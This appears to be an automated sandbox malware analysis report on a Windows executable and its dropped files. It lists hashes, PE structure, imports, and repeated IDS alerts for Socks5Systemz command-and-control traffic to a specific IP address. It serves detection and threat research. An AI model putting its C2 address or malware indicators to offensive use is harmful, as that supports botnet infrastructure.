SSDEEP:	12288:D/kqO+1G7DMvrP537dzHsA6BllcOuGbnH3ERNIg9rNlQyR8h1K8xyF:jkqZ1G7DMvrP537dzHsA6hcHGbH3Eahs
MD5:	62FDBBA6364B54BBE42B437284A2963C
SHA1:	B581DFA1E0C38C692426A62B8B4770C5441C6337
SHA-256:	07009EF71F1CEAA86F14A6ACC181336A3F1D18C3E19468E1F1F81335A8C75B43
SHA-512:	F79FB771A83197DA6FDE21A49AA3B24A0E9F98691F24D6D19C021CC404E2767825C5C8D4C5E85F7DCB16773B1D19FED32CAF83D034B05C50190099C8F5925671
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t........................@..............................................@..............................`%..................................................................................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS.....l................................idata..`%.......&..................@....tls.....................................rdata..............................@..P.reloc..@.... ......................@..P.rsrc...............................@..P.....................J..............@..P........................................................................................................................................

C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4065622
Entropy (8bit):	7.998333417378816
Encrypted:	true
SSDEEP:	98304:Nd7lj7PJtJzLJo+Pb+jA2qBsK6Vz6Vl1ggkCURIO+S1Hn3PEQeK8FuIQQj9dRJ:bl/tBZ+0jGK6R62hfd1Hnp4FuIvLRJ
MD5:	98C5D582966DD7E46FF73E7D6D62B87D
SHA1:	4F37D61ED6959E6991C8888504B396CAF195383F
SHA-256:	E0683D5F72C585FD92753C2CE41152B71364B04299684697C9D0D5E22638CC32
SHA-512:	119C362FA6B09CA0B2868E0FB6D9A679F06CB38A31FE9971F6ED1AABA139EC7535D842197FB5E4E995E988E754FF4544DF2FE13C5A8F9B08E5F2106EB96B9140
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................F......@.............@..........................@...................@..............................P........,..........................................................................................................CODE....d........................... ..`DATA....L...........................@...BSS......................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....,.......,..................@..P.............@......................@..P........................................................................................................................................

C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	3.990387966645919
Encrypted:	false
SSDEEP:	48:65uxic/UNMSAjItYiA254tdqlkCuFCpfbNtm:cc9jItYbaC+zNt
MD5:	F328A95046E3A2514C36347EAEC911C0
SHA1:	8EC9C18384CA1E08A397BF7B3D46B6D784669EF0
SHA-256:	D55E86610DCAD29C3D2857D9DAE91AA51228B1FA001EA2D7BDA88B9A2B5570A9
SHA-512:	2FC3621433C5DA3DCB5B9D9133CD9D63D8F53FD60C81DDAB8B83BAD60EFB98942FC38A63DFA98EDFC8358C8E4E345A7EC8FA3AA14C18D4337CDD90EA0AED4718
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 54%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0..............&... ...@....@.. ....................................@..................................&..O....@.......................`.......%..8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................&......H.......\ .................................................................(......BSJB............v4.0.30319......l.......#~..,...H...#Strings....t.......#US.x.......#GUID...........#Blob...........G..........3..........................................x...............Z.....!.....,.....I.................A...........&.....`.....5.................{.....@.........................A.....P ........#...R ................;...................).....1.....9.....A.....I.....Q.....Y.....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.8706564154608785
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	438'784 bytes
MD5:	5237853dbebaefb1dfa86130dd1d39fa
SHA1:	c2a42211c8970e1f10cc13261d5e133739c196f4
SHA256:	e185e43f039f7a97672db4a44597abd6d2bf49c08d7bc689318a098ec826bb00
SHA512:	72fc21a0d325b88b4e99d66d05f77ac362aa03cdd41db053cfecd2fec148740bc5349fa45001650500f844ff76784bc12177543deb8d075c5c84e93420c15c7a
SSDEEP:	6144:bIkLslp6440MCP5FQn40gxeppjMo7LR68z1T:bIkIlp6445M3Q40goppL7LRNh
TLSH:	5A94C0139691BCA0E96647329D2EC6E4762EB9214E193F7B33786F2F14701B2D273319
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...P...P...P....%..P....4..P...."..P.......P...P..'P....+..P....5..P....0..P..Rich.P..........................PE..L....{.d...

File Icon


Icon Hash:	0e4655313179b18f

Static PE Info

General

Entrypoint:	0x405583
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x649C7BEB [Wed Jun 28 18:28:59 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	db15b2e5808ca5f767d44b63a5e7dde0

Entrypoint Preview

Instruction
call 00007FE08D030713h
jmp 00007FE08D02CB6Eh
mov edi, edi
push ebp
mov ebp, esp
sub esp, 28h
xor eax, eax
push ebx
mov ebx, dword ptr [ebp+0Ch]
push esi
mov esi, dword ptr [ebp+10h]
push edi
mov edi, dword ptr [ebp+08h]
mov byte ptr [ebp-08h], al
mov byte ptr [ebp-07h], al
mov byte ptr [ebp-06h], al
mov byte ptr [ebp-05h], al
mov byte ptr [ebp-04h], al
mov byte ptr [ebp-03h], al
mov byte ptr [ebp-02h], al
mov byte ptr [ebp-01h], al
cmp dword ptr [0045D04Ch], eax
je 00007FE08D02CD00h
push dword ptr [00461CCCh]
call 00007FE08D03017Bh
pop ecx
jmp 00007FE08D02CCF7h
mov eax, 0040903Ch
mov ecx, dword ptr [ebp+14h]
mov edx, 000000A6h
cmp ecx, edx
jg 00007FE08D02CE6Ah
je 00007FE08D02CE51h
cmp ecx, 19h
jg 00007FE08D02CDEEh
je 00007FE08D02CDDFh
mov edx, ecx
push 00000002h
pop ecx
sub edx, ecx
je 00007FE08D02CDC3h
dec edx
je 00007FE08D02CDB3h
sub edx, 05h
je 00007FE08D02CD9Bh
dec edx
je 00007FE08D02CD7Ch
sub edx, 05h
je 00007FE08D02CD63h
dec edx
je 00007FE08D02CD37h
sub edx, 09h
jne 00007FE08D02CECAh
mov dword ptr [ebp-28h], 00000003h
mov dword ptr [ebp-24h], 00401320h
fld qword ptr [edi]
lea ecx, dword ptr [ebp-28h]
fstp qword ptr [ebp-20h]
push ecx
fld qword ptr [ebx]
fstp qword ptr [ebp+00h]

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x562b4	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x64000	0xe618	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x4158	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1a4	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x55c42	0x55e00	0a68425b9b7033c7c7fe633cac15f850	False	0.6249516693959243	data	6.279211279997702	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x57000	0xacd4	0x6200	d2ee99fd572fa8cfdd221e4a76b71e24	False	0.08577806122448979	data	1.0105107112719858	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.wujep	0x62000	0x400	0x400	0f343b0931126a20f133d67c2b018a3b	False	0.0166015625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.jin	0x63000	0xd6	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x64000	0xe618	0xe800	774582d7b37a96cf37d840e024294928	False	0.3540375808189655	data	4.336055078457096	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x6d8f0	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.4375
RT_CURSOR	0x6da20	0xb0	Device independent bitmap graphic, 16 x 32 x 1, image size 0			0.44886363636363635
RT_CURSOR	0x6daf8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.27238805970149255
RT_CURSOR	0x6e9a0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.375
RT_CURSOR	0x6f248	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5057803468208093
RT_CURSOR	0x6f7e0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.30943496801705755
RT_CURSOR	0x70688	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.427797833935018
RT_CURSOR	0x70f30	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5469653179190751
RT_ICON	0x64630	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	India	0.7194700460829493
RT_ICON	0x64630	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	Sri Lanka	0.7194700460829493
RT_ICON	0x64cf8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Tamil	India	0.46690871369294606
RT_ICON	0x64cf8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Tamil	Sri Lanka	0.46690871369294606
RT_ICON	0x672a0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Tamil	India	0.7615248226950354
RT_ICON	0x672a0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Tamil	Sri Lanka	0.7615248226950354
RT_ICON	0x67738	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	India	0.4898720682302772
RT_ICON	0x67738	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	Sri Lanka	0.4898720682302772
RT_ICON	0x685e0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	India	0.46796028880866425
RT_ICON	0x685e0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Tamil	Sri Lanka	0.46796028880866425
RT_ICON	0x68e88	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.43641618497109824
RT_ICON	0x68e88	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.43641618497109824
RT_ICON	0x693f0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.27977178423236515
RT_ICON	0x693f0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.27977178423236515
RT_ICON	0x6b998	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	India	0.2910412757973734
RT_ICON	0x6b998	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Tamil	Sri Lanka	0.2910412757973734
RT_ICON	0x6ca40	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	India	0.30655737704918035
RT_ICON	0x6ca40	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	Sri Lanka	0.30655737704918035
RT_ICON	0x6d3c8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.3351063829787234
RT_ICON	0x6d3c8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.3351063829787234
RT_STRING	0x71718	0x252	data	Tamil	India	0.5084175084175084
RT_STRING	0x71718	0x252	data	Tamil	Sri Lanka	0.5084175084175084
RT_STRING	0x71970	0x396	data	Tamil	India	0.4596949891067538
RT_STRING	0x71970	0x396	data	Tamil	Sri Lanka	0.4596949891067538
RT_STRING	0x71d08	0x51e	data	Tamil	India	0.4480916030534351
RT_STRING	0x71d08	0x51e	data	Tamil	Sri Lanka	0.4480916030534351
RT_STRING	0x72228	0x3ee	data	Tamil	India	0.4542743538767396
RT_STRING	0x72228	0x3ee	data	Tamil	Sri Lanka	0.4542743538767396
RT_ACCELERATOR	0x6d898	0x58	data	Tamil	India	0.7954545454545454
RT_ACCELERATOR	0x6d898	0x58	data	Tamil	Sri Lanka	0.7954545454545454
RT_GROUP_CURSOR	0x6dad0	0x22	data			1.0588235294117647
RT_GROUP_CURSOR	0x6f7b0	0x30	data			0.9375
RT_GROUP_CURSOR	0x71498	0x30	data			0.9375
RT_GROUP_ICON	0x67708	0x30	data	Tamil	India	0.9375
RT_GROUP_ICON	0x67708	0x30	data	Tamil	Sri Lanka	0.9375
RT_GROUP_ICON	0x6d830	0x68	data	Tamil	India	0.7019230769230769
RT_GROUP_ICON	0x6d830	0x68	data	Tamil	Sri Lanka	0.7019230769230769
RT_VERSION	0x714c8	0x250	data			0.5422297297297297

Imports

DLL

Import

KERNEL32.dll

GetComputerNameA, GetTempFileNameW, WriteConsoleInputW, SetComputerNameExA, SetEndOfFile, InterlockedIncrement, EnumCalendarInfoW, OpenJobObjectA, GetCurrentProcess, GetSystemDefaultLCID, CallNamedPipeW, OutputDebugStringW, GetModuleHandleW, GetCommConfig, FindNextVolumeMountPointA, GetDllDirectoryW, GetConsoleAliasExesW, EnumTimeFormatsA, EnumTimeFormatsW, GetUserDefaultLangID, TlsSetValue, SetFileShortNameW, LoadLibraryW, ReadConsoleInputA, SetConsoleCP, GetFileAttributesA, GetTimeFormatW, GetModuleFileNameW, LCMapStringA, InterlockedExchange, GetLogicalDriveStringsA, GetLastError, ChangeTimerQueueTimer, SetLastError, GetProcAddress, VirtualAlloc, SetComputerNameA, LoadLibraryA, InterlockedExchangeAdd, GlobalUnWire, FreeEnvironmentStringsW, GetCurrentDirectoryA, OpenEventW, GetShortPathNameW, GetVersionExA, GetDiskFreeSpaceExW, TlsFree, SetFileAttributesW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, HeapAlloc, WriteFile, WideCharToMultiByte, GetConsoleCP, GetConsoleMode, FlushFileBuffers, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, Sleep, ExitProcess, GetStdHandle, GetModuleFileNameA, HeapFree, CloseHandle, TerminateProcess, IsDebuggerPresent, GetEnvironmentStringsW, GetCommandLineW, SetHandleCount, GetFileType, GetStartupInfoA, TlsGetValue, TlsAlloc, GetCurrentThreadId, InterlockedDecrement, HeapCreate, VirtualFree, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, RaiseException, HeapReAlloc, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, MultiByteToWideChar, SetFilePointer, SetStdHandle, InitializeCriticalSectionAndSpinCount, RtlUnwind, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, GetModuleHandleA, CreateFileA, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, HeapSize

Possible Origin

Language of compilation system	Country where language is spoken	Map
Tamil	India
Tamil	Sri Lanka

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T05:03:19.330150+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49858	185.208.158.202	80	TCP
2024-11-20T05:03:19.330150+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49858	185.208.158.202	80	TCP
2024-11-20T05:03:19.707958+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49858	185.208.158.202	80	TCP
2024-11-20T05:03:19.707958+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49858	185.208.158.202	80	TCP
2024-11-20T05:03:22.679741+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49858	185.208.158.202	80	TCP
2024-11-20T05:03:22.679741+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49858	185.208.158.202	80	TCP
2024-11-20T05:03:23.511115+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49885	185.208.158.202	80	TCP
2024-11-20T05:03:23.511115+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49885	185.208.158.202	80	TCP
2024-11-20T05:03:24.349525+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49892	185.208.158.202	80	TCP
2024-11-20T05:03:24.349525+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49892	185.208.158.202	80	TCP
2024-11-20T05:03:25.182992+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49898	185.208.158.202	80	TCP
2024-11-20T05:03:25.182992+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49898	185.208.158.202	80	TCP
2024-11-20T05:03:26.013459+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49904	185.208.158.202	80	TCP
2024-11-20T05:03:26.013459+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49904	185.208.158.202	80	TCP
2024-11-20T05:03:26.986222+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49910	185.208.158.202	80	TCP
2024-11-20T05:03:26.986222+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49910	185.208.158.202	80	TCP
2024-11-20T05:03:27.814581+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49917	185.208.158.202	80	TCP
2024-11-20T05:03:27.814581+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49917	185.208.158.202	80	TCP
2024-11-20T05:03:28.175922+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49917	185.208.158.202	80	TCP
2024-11-20T05:03:28.175922+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49917	185.208.158.202	80	TCP
2024-11-20T05:03:29.003148+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49927	185.208.158.202	80	TCP
2024-11-20T05:03:29.003148+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49927	185.208.158.202	80	TCP
2024-11-20T05:03:29.864671+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49933	185.208.158.202	80	TCP
2024-11-20T05:03:29.864671+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49933	185.208.158.202	80	TCP
2024-11-20T05:03:30.897323+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49939	185.208.158.202	80	TCP
2024-11-20T05:03:30.897323+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49939	185.208.158.202	80	TCP
2024-11-20T05:03:31.290583+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49939	185.208.158.202	80	TCP
2024-11-20T05:03:31.290583+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49939	185.208.158.202	80	TCP
2024-11-20T05:03:32.129208+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49945	185.208.158.202	80	TCP
2024-11-20T05:03:32.129208+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49945	185.208.158.202	80	TCP
2024-11-20T05:03:32.485151+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49945	185.208.158.202	80	TCP
2024-11-20T05:03:32.485151+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49945	185.208.158.202	80	TCP
2024-11-20T05:03:33.323396+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49956	185.208.158.202	80	TCP
2024-11-20T05:03:33.323396+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49956	185.208.158.202	80	TCP
2024-11-20T05:03:34.155422+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49962	185.208.158.202	80	TCP
2024-11-20T05:03:34.155422+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49962	185.208.158.202	80	TCP
2024-11-20T05:03:35.150207+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49968	185.208.158.202	80	TCP
2024-11-20T05:03:35.150207+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49968	185.208.158.202	80	TCP
2024-11-20T05:03:36.033281+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49974	185.208.158.202	80	TCP
2024-11-20T05:03:36.033281+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49974	185.208.158.202	80	TCP
2024-11-20T05:03:36.989737+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49980	185.208.158.202	80	TCP
2024-11-20T05:03:36.989737+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49980	185.208.158.202	80	TCP
2024-11-20T05:03:37.360947+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49980	185.208.158.202	80	TCP
2024-11-20T05:03:37.360947+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49980	185.208.158.202	80	TCP
2024-11-20T05:03:37.716797+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49980	185.208.158.202	80	TCP
2024-11-20T05:03:37.716797+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49980	185.208.158.202	80	TCP
2024-11-20T05:03:38.564118+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49991	185.208.158.202	80	TCP
2024-11-20T05:03:38.564118+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49991	185.208.158.202	80	TCP
2024-11-20T05:03:38.925442+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49991	185.208.158.202	80	TCP
2024-11-20T05:03:38.925442+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49991	185.208.158.202	80	TCP
2024-11-20T05:03:39.993516+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	49999	185.208.158.202	80	TCP
2024-11-20T05:03:39.993516+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	49999	185.208.158.202	80	TCP
2024-11-20T05:03:40.837006+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50004	185.208.158.202	80	TCP
2024-11-20T05:03:40.837006+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50004	185.208.158.202	80	TCP
2024-11-20T05:03:41.685590+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50011	185.208.158.202	80	TCP
2024-11-20T05:03:41.685590+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50011	185.208.158.202	80	TCP
2024-11-20T05:03:42.515663+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50017	185.208.158.202	80	TCP
2024-11-20T05:03:42.515663+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50017	185.208.158.202	80	TCP
2024-11-20T05:03:43.344138+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50023	185.208.158.202	80	TCP
2024-11-20T05:03:43.344138+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50023	185.208.158.202	80	TCP
2024-11-20T05:03:44.181802+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50028	185.208.158.202	80	TCP
2024-11-20T05:03:44.181802+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50028	185.208.158.202	80	TCP
2024-11-20T05:03:45.014578+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50029	185.208.158.202	80	TCP
2024-11-20T05:03:45.014578+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50029	185.208.158.202	80	TCP
2024-11-20T05:03:45.841220+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50030	185.208.158.202	80	TCP
2024-11-20T05:03:45.841220+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50030	185.208.158.202	80	TCP
2024-11-20T05:03:46.665553+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50031	185.208.158.202	80	TCP
2024-11-20T05:03:46.665553+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50031	185.208.158.202	80	TCP
2024-11-20T05:03:47.498201+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50032	185.208.158.202	80	TCP
2024-11-20T05:03:47.498201+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50032	185.208.158.202	80	TCP
2024-11-20T05:03:48.354773+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50033	185.208.158.202	80	TCP
2024-11-20T05:03:48.354773+0100	2050112	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2	1	192.168.2.4	50033	185.208.158.202	80	TCP
2024-11-20T05:03:49.183437+0100	2049467	ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1	1	192.168.2.4	50034	185.208.158.202	80	TCP
